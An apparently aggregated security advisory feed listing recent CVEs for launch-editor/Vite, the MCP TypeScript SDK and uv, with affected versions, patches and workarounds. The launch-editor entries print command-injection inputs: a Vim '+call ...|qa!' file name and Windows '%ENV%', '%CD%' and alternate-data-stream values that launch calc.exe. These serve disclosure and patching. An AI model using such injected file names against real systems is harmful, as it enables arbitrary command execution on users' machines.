GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112944&date=2026-10-25
### Summary

`launch-editor` forwarded file paths directly to editors without sanitization. If a path resembles a CLI flag, editors like Vim may interpret it as a command, potentially causing unintended file overwrites or command execution.

### Impact

#### Direct `launch-editor` users

Only apps that match all of the following conditions are affected:

- The attacker is able to create a file system entry (e.g. a file or directory) starting with `+` or `-` in the working directory
- The user uses or the app specifies any of the following editors:
 - Vim (including gVim)
 - MacVim
 - Emacs (including Emacsclient)
 - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
- The first argument of `launchEditor` can start with `+` or `-` or the user is using WSL

#### `launch-editor-middleware` users

Only apps that match the following conditions are affected:

- The attacker is able to create a file system entry (e.g. a file or directory) starting with `+` or `-` in the working directory
- The user uses or the app specifies any of the following editors:
 - Vim (including gVim)
 - MacVim
 - Emacs (including Emacsclient)
 - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
- launch-editor older than v2.2.0 is used, or the user is using WSL

#### Vite users

Only apps that match the following conditions are affected:

- The attacker is able to create a file system entry (e.g. a file or directory) starting with `+` or `-` in the working directory
- The user uses or the app specifies any of the following editors:
 - Vim (including gVim)
 - MacVim
 - Emacs (including Emacsclient)
 - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
- The user is using WSL

### Details

`launchEditor(file)` function passes the file name as-is to the editor if the file with that file name exists. If the file name starts with `-` (also `+` for Vim), the editor treats them as flags rather than positional arguments. For example, Vim treats arguments starting with `+` as an Ex command. As a result, an existing relative directory such as:
```
+call writefile(["SAFE_MARKER"],"LAUNCH_EDITOR_MARKER")|qa!
```
is not treated as a filename when passed to Vim. Vim executes the embedded Ex command.

The following editor has a potentially destructive operation exposed to the CLI arguments:
- Vim (including gVim)
- MacVim
- Emacs (including Emacsclient)
- Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)

`launch-editor-middleware` v2.2.0+ converts the passed file path to an absolute path so those are not affected as long as the user is not using WSL. For WSL, `launch-editor` converts the paths to relative paths internally, so those are still affected.

Vite 2.0.0+ uses `launch-editor-middleware` v2.2.0+ so the WSL users are only affected.

Affected package ranges reported by GitHub:
launch-editor: <= 2.14.1
vite: >= 8.3.0, <= 8.3.2
vite: >= 8.2.0, <= 8.2.3
vite: >= 8.0.0, <= 8.1.5
vite: >= 7.0.0, <= 7.3.6
vite: <= 6.4.3
vite-plus: <= 1.0.0
Action: GitHub lists first patched versions: launch-editor: 2.14.2; vite: 8.3.3; vite: 8.2.4; vite: 8.1.6; vite: 7.3.7; vite: 6.4.4; vite-plus: 1.1.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### launch-editor: `fs.existsSync()` existence check can be bypassed on Windows
https://kevwire.com/record/CVE-2026-112942
launch-editor: `fs.existsSync()` existence check can be bypassed on Windows (Oct 20, 2026).
`launch-editor` checked `fs.existsSync(fileName)` before passing a supplied path to an editor command. On Windows, an attacker can bypass this check with a crafted path ending in `\\..:line:column`. This removes the requirement that the attacker be able to place a file with a malicious filename.

Combined with the `%` escaping issue described in [GHSA-698v-4r3x-3vcv](https://github.com/vitejs/launch-editor/security/advisories/GHSA-698v-4r3x-3vcv), this bypass can lead to OS command injection when an attacker controls the file argument.
CVSS 7.5 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112942).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112942&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-587h-7wmj-h5pm: https://github.com/advisories/GHSA-587h-7wmj-h5pm
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
NVD CVE-2026-112942: https://nvd.nist.gov/vuln/detail/CVE-2026-112942
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112942&date=2026-10-25
### Summary

`launch-editor` checked `fs.existsSync(fileName)` before passing a supplied path to an editor command. On Windows, an attacker can bypass this check with a crafted path ending in `\\..:line:column`. This removes the requirement that the attacker be able to place a file with a malicious filename.

Combined with the `%` escaping issue described in [GHSA-698v-4r3x-3vcv](https://github.com/vitejs/launch-editor/security/advisories/GHSA-698v-4r3x-3vcv), this bypass can lead to OS command injection when an attacker controls the file argument.

### Impact

Only apps that runs on Windows is affected.

### Details

The earlier advisory assumed that `fs.existsSync()` required an attacker-controlled filename to exist. This advisory covers a bypass of that requirement.

A crafted value ending in `\\..:1:1` is interpreted differently by `launch-editor-middleware`, `launch-editor`, and Windows:

1. `launch-editor-middleware` calls `path.resolve()` while the final path component is `..:1:1`, so it is not treated as a parent-directory component.
2. `launch-editor` treats `:1:1` as a line-and-column suffix and removes it, leaving a path ending in `\\..`.
3. On Windows, `fs.existsSync()` accepts the resulting path as the existing parent directory even though the attacker-controlled preceding component does not exist.
4. Because the existence check passes, the crafted filename reaches the Windows shell command.

Affected package ranges reported by GitHub:
launch-editor: <= 2.14.1
vite: >= 8.3.0, <= 8.3.2
vite: >= 8.2.0, <= 8.2.3
vite: >= 8.0.0, <= 8.1.5
vite: >= 7.0.0, <= 7.3.6
vite: <= 6.4.3
vite-plus: <= 1.0.0
Action: GitHub lists first patched versions: launch-editor: 2.14.2; vite: 8.3.3; vite: 8.2.4; vite: 8.1.6; vite: 7.3.7; vite: 6.4.4; vite-plus: 1.1.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MCP TypeScript SDK: Server bearer authentication accepted tokens issued for another service
https://kevwire.com/record/CVE-2026-111771
MCP TypeScript SDK: Server bearer authentication accepted tokens issued for another service (Oct 20, 2026).
Affected versions:

- `@modelcontextprotocol/sdk` 1.6.0 through 1.31.0
- `@modelcontextprotocol/server` 2.0.0 through 2.2.0
- `@modelcontextprotocol/express` 2.0.0 through 2.0.1
- `@modelcontextprotocol/server-legacy` 2.0.0 through 2.3.0
CVSS 6.8 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-rvq5-wwqv-78pq).
Sources:
GitHub-reviewed advisory GHSA-rvq5-wwqv-78pq: https://github.com/advisories/GHSA-rvq5-wwqv-78pq
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
### Summary
In affected versions, the SDK's server-side bearer authentication had no way to check that a token was issued for your server (its audience). Where one authorization server issues tokens for several services, a valid token for another service was also accepted by your MCP server.

### Am I affected?
Yes, if your HTTP server uses `requireBearerAuth()` or `verifyBearerToken()`, its authorization server also issues tokens for other services, and your `verifyAccessToken()` does not check the token's audience (`aud`) itself.

Affected versions:

- `@modelcontextprotocol/sdk` 1.6.0 through 1.31.0
- `@modelcontextprotocol/server` 2.0.0 through 2.2.0
- `@modelcontextprotocol/express` 2.0.0 through 2.0.1
- `@modelcontextprotocol/server-legacy` 2.0.0 through 2.3.0

### Fix
Upgrade to:

- 1.x: `@modelcontextprotocol/sdk` 1.32.0 or later
- 2.x: `@modelcontextprotocol/server` 2.3.0 or later, together with `@modelcontextprotocol/express` 2.0.2 or later if you use it
- `@modelcontextprotocol/server-legacy` 2.3.1 or later

**Upgrading alone changes nothing.** The patched versions add an `expectedResource` setting that is off by default. To turn the check on, make both of these changes together:

1. Pass the audience your authorization server puts in tokens for your server: `requireBearerAuth({ verifier, expectedResource: new URL('https://mcp.example.com/mcp') })`.
2. Return the token's audience from `verifyAccessToken()` as `AuthInfo.resource`, also a `URL`.

A token for another service then gets `401`. With only the first change, every request gets `401`.

If you cannot upgrade yet, reject any token whose `aud` does not include your server inside `verifyAccessToken()`. That closes the issue on every version.

Affected package ranges reported by GitHub:
@modelcontextprotocol/sdk: >= 1.6.0, < 1.32.0
@modelcontextprotocol/server: >= 2.0.0, < 2.3.0
@modelcontextprotocol/express: >= 2.0.0, < 2.0.2
@modelcontextprotocol/server-legacy: >= 2.0.0, < 2.3.1
Action: GitHub lists first patched versions: @modelcontextprotocol/sdk: 1.32.0; @modelcontextprotocol/server: 2.3.0; @modelcontextprotocol/express: 2.0.2; @modelcontextprotocol/server-legacy: 2.3.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### uv's bundled CA store trusts an emSign root whose intermediate CA keys are compromised
https://kevwire.com/record/GHSA-hq85-5cpj-mr62
uv's bundled CA store trusts an emSign root whose intermediate CA keys are compromised (Oct 20, 2026).
By default, uv verifies TLS connections against a vendored copy of the `webpki-root-certs` bundle. Versions before 0.13.4 include the `emSign ECC Root CA - G3` root. Eight eMudhra intermediate CA certificates that chain to that root have compromised private keys, and the CA has revoked them.

An attacker with one of the compromised keys can issue certificates that uv accepts for any hostname, and can be used to issue certificates to enable MITM attacks.
CVSS 9.1 (version 4.0; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-hq85-5cpj-mr62).
Sources:
GitHub-reviewed advisory GHSA-hq85-5cpj-mr62: https://github.com/advisories/GHSA-hq85-5cpj-mr62
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
By default, uv verifies TLS connections against a vendored copy of the `webpki-root-certs` bundle. Versions before 0.13.4 include the `emSign ECC Root CA - G3` root. Eight eMudhra intermediate CA certificates that chain to that root have compromised private keys, and the CA has revoked them.

An attacker with one of the compromised keys can issue certificates that uv accepts for any hostname, and can be used to issue certificates to enable MITM attacks.

uv 0.13.4 removes the root from its vendored bundle, following `webpki-root-certs` 1.0.10. Upgrade to 0.13.4 or later.

Affected package ranges reported by GitHub:
uv: < 0.13.4
Action: GitHub lists first patched versions: uv: 0.13.4. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### launch-editor: escapeCmdArgs() omits % escaping on Windows
https://kevwire.com/record/CVE-2026-112943
launch-editor: escapeCmdArgs() omits % escaping on Windows (Oct 20, 2026).
`launch-editor` did not escape `%` on Windows when passing an argument to `cmd`. When an environment variable contained a malicious value, it was possible that that content to be executed.

Only apps that match all of the following conditions are affected:
CVSS 6.3 (version 4.0; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-698v-4r3x-3vcv).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112943&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-698v-4r3x-3vcv: https://github.com/advisories/GHSA-698v-4r3x-3vcv
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112943&date=2026-10-25
### Summary

`launch-editor` did not escape `%` on Windows when passing an argument to `cmd`. When an environment variable contained a malicious value, it was possible that that content to be executed.

### Impact

Only apps that match all of the following conditions are affected:

- The user uses Windows
- An attacker can place a file with the malicious filename containing `&` or `%`
- Either of
 - An attacker can inject an environment variable with a malicious value
 - An attacker can add a NTFS alternate data stream to the file placed

### Details

Unlike `.sh` files, `.bat` / `.cmd` files on Windows cannot be called directly using [`child_process.spawn`](https://nodejs.org/docs/latest-v24.x/api/child_process.html#child_processspawncommand-args-options) and requires passing them as an argument of `cmd.exe`. To do so, launch-editor escapes the arguments passed to `cmd.exe`. But `launch-editor` did not escape `%` which is used for environment variables.

Because `launch-editor` checks if the argument matches an existing filename, the attack requires the attacker to be able to place a file.

- If the attacker can inject an environment variable as well, they can include the subcommand in the env variable (e.g. set ` &calc.exe ` to `%ENV%`) and call `launchEditor` with `something%ENV%`.
- If the attacker can place a NTFS alternate data stream to the file (e.g. a NTFS alternate data stream named `~-38%calc.exe`), they can call `launchEditor` with `something %CMDCMDLINE:~-38%calc.exe`.
- If the attacker can create a filename containing the `%CD%` and the subcommand (e.g. `&calc.exe `), they can call `launchEditor` with `./%CD%`

Affected package ranges reported by GitHub:
launch-editor: <= 2.14.1
vite: >= 8.3.0, <= 8.3.2
vite: >= 8.2.0, <= 8.2.3
vite: >= 8.0.0, <= 8.1.5
vite: >= 7.0.0, <= 7.3.6
vite: <= 6.4.3
vite-plus: <= 1.0.0
Action: GitHub lists first patched versions: launch-editor: 2.14.2; vite: 8.3.3; vite: 8.2.4; vite: 8.1.6; vite: 7.3.7; vite: 6.4.4; vite-plus: 1.1.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MCP TypeScript SDK: Experimental tasks were not tied to the session that created them
https://kevwire.com/record/CVE-2026-111767
MCP TypeScript SDK: Experimental tasks were not tied to the session that created them (Oct 20, 2026).
Experimental tasks are deprecated. The 2026-07-28 specification replaced them with a redesigned extension. The best course of action is to stop using them.

Affected versions: `@modelcontextprotocol/sdk` 1.24.0 through 1.31.0. The 2.x packages are not affected.
CVSS 8.6 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111767).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111767&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-22jm-h49p-29qw: https://github.com/advisories/GHSA-22jm-h49p-29qw
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
NVD CVE-2026-111767: https://nvd.nist.gov/vuln/detail/CVE-2026-111767
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111767&date=2026-10-25
### Summary
In affected versions, the experimental tasks feature (`taskStore`) did not check which session created a task. Clients sharing one `InMemoryTaskStore` could list, read and cancel each other's tasks.

Experimental tasks are deprecated. The 2026-07-28 specification replaced them with a redesigned extension. The best course of action is to stop using them.

### Am I affected?
Only if your HTTP server passes `taskStore` to `McpServer` or `Server`. If `grep -ri taskstore --exclude-dir=node_modules .` finds nothing, you are not affected.

Affected versions: `@modelcontextprotocol/sdk` 1.24.0 through 1.31.0. The 2.x packages are not affected.

### Fix
Upgrade to `@modelcontextprotocol/sdk` 1.32.0 or later. Each task is now tied to the session that created it, so a client that starts a new session can no longer reach its earlier tasks.

If you cannot upgrade yet, remove `taskStore`, or create one `InMemoryTaskStore` per session.

Affected package ranges reported by GitHub:
@modelcontextprotocol/sdk: >= 1.24.0, < 1.32.0
Action: GitHub lists first patched versions: @modelcontextprotocol/sdk: 1.32.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MCP TypeScript client SDK: HTTP client transports and OAuth requests followed cross-origin redirects and re-sent custom headers and request bodies
https://kevwire.com/record/CVE-2026-111769
MCP TypeScript client SDK: HTTP client transports and OAuth requests followed cross-origin redirects and re-sent custom headers and request bodies (Oct 20, 2026).
If an MCP server or authorization server redirected a request to another origin, that origin received custom request headers (such as an `X-API-Key` set in `requestInit.headers`) and the `mcp-session-id` header. On a `307` or `308` it also received the request body, including OAuth token requests with their `refresh_token` and `client_secret`.

On current runtimes `fetch` already drops the `Authorization` header across origins.
CVSS 6.5 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-6prh-2h8m-c8cw).
Sources:
GitHub-reviewed advisory GHSA-6prh-2h8m-c8cw: https://github.com/advisories/GHSA-6prh-2h8m-c8cw
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
### Summary
In affected versions, the SDK's HTTP client transports and OAuth requests followed redirects to any origin.

If an MCP server or authorization server redirected a request to another origin, that origin received custom request headers (such as an `X-API-Key` set in `requestInit.headers`) and the `mcp-session-id` header. On a `307` or `308` it also received the request body, including OAuth token requests with their `refresh_token` and `client_secret`.

On current runtimes `fetch` already drops the `Authorization` header across origins.

### Am I affected?
Yes, if your application uses `StreamableHTTPClientTransport`, `SSEClientTransport`, or the SDK's OAuth client functions such as `auth()`. stdio clients are not affected.

Affected versions:

- `@modelcontextprotocol/sdk` all versions through 1.31.0
- `@modelcontextprotocol/client` 2.0.0 through 2.2.0

### Fix
Upgrade to:

- 1.x: `@modelcontextprotocol/sdk` 1.32.0 or later
- 2.x: `@modelcontextprotocol/client` 2.3.0 or later

Redirects are now followed only within the same origin, and not at all in browsers. If your MCP server or authorization server redirects to another origin on purpose, configure the final URL instead. Setting `redirectPolicy: 'follow'` on a transport restores the old behaviour and the exposure.

If a redirect may have reached a host you do not control, rotate the API keys and `client_secret` your application held and revoke its tokens.

If you cannot upgrade yet, pass a `fetch` that refuses redirects, for example `(url, init) => fetch(url, { ...init, redirect: 'error' })`.

Affected package ranges reported by GitHub:
@modelcontextprotocol/sdk: < 1.32.0
@modelcontextprotocol/client: >= 2.0.0, < 2.3.0
Action: GitHub lists first patched versions: @modelcontextprotocol/sdk: 1.32.0; @modelcontextprotocol/client: 2.3.0. Confirm the affected range and upgrade guidance in the exact advisory.
